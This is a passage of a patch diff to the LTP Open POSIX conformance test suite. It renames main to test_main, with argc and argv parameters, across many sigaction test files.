PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-84.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-84.c index 52ea39be..4af4c722 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-84.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-84.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-85.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-85.c index 0c332440..5a50b84f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-85.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-85.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-86.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-86.c index 25551cc4..83ba7508 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-86.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-86.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-87.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-87.c index b858f00e..4bdddb73 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-87.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-87.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-88.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-88.c index 7bdd4a7a..3cdab881 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-88.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-88.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-89.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-89.c index 5d184df3..56486f6f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-89.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-89.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-9.c index af9e2e40..628dfd64 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-9.c @@ -35,7 +35,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (fork() == 0) { /* child */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-90.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-90.c index f96f798f..47368d69 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-90.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-90.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-91.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-91.c index 5d60676e..0873831f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-91.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-91.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-92.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-92.c index e607a28c..6560f58e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-92.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-92.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-93.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-93.c index 83b5ead4..084faf36 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-93.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-93.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-94.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-94.c index 6cf5086e..b7666786 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-94.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-94.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-95.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-95.c index a207d888..b02de162 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-95.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-95.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-96.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-96.c index 256ccded..2b3c2824 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-96.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-96.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-97.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-97.c index ba2646d5..cd15e746 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-97.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-97.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-98.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-98.c index 56031b9a..a4075ad7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-98.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-98.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-99.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-99.c index 0d4da954..a0bc4d95 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-99.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/4-99.c @@ -22,7 +22,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) { } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c index d9646716..54ad26d2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c index a80c91b3..6b717bd2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c index 1a0c6285..a631425c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c index 3c85e679..03f58d61 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c index 9b421791..cd30f521 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c index 85fb4e22..b12948bb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c index dbf199f8..e4d7c196 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c index 94ee1cc2..a429ef6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c index 79a730ed..9d298c15 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c index 5fa60e8a..94e1db31 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c index 5fa60e8a..94e1db31 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c index 5fa60e8a..94e1db31 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c index 5e9534cb..482dddab 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c index 19270c24..bba25c7c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c index 05fcf55c..69f041c3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c index 810aee37..04dee485 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c index 23f3ab3f..a5edd1a9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c index 76efdd2d..619d709b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c index df5c80de..b320a13f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c index 4d98c90a..7c9a304d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c index 77ae20b8..d2e2a86e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c index 1034c732..fe067e4f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c index 282dbe2f..fb71b2e4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c index 142485f6..4b95c548 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c index fd7f1104..8dc113b7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c index 353eb779..5d6e8482 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c @@ -27,7 +27,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED, handler_called = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-1.c index c9b530e7..12b3879f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-1.c @@ -36,7 +36,7 @@ static void SIGABRT_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-10.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-10.c index c51c996a..9ff7c76b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-10.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-10.c @@ -36,7 +36,7 @@ static void SIGPIPE_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-11.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-11.c index 9ea72cc6..5761ce16 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-11.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-11.c @@ -36,7 +36,7 @@ static void SIGQUIT_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-12.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-12.c index 2ff2a328..bc2b8358 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-12.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-12.c @@ -36,7 +36,7 @@ static void SIGSEGV_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-13.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-13.c index dba7f993..1b61ee1a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-13.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-13.c @@ -36,7 +36,7 @@ static void SIGTERM_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-14.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-14.c index 1b298488..e0d5a56f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-14.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-14.c @@ -36,7 +36,7 @@ static void SIGTSTP_handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-15.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-15.c index 0167d8e7..93e71c08 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigaction/8-15.c +++ 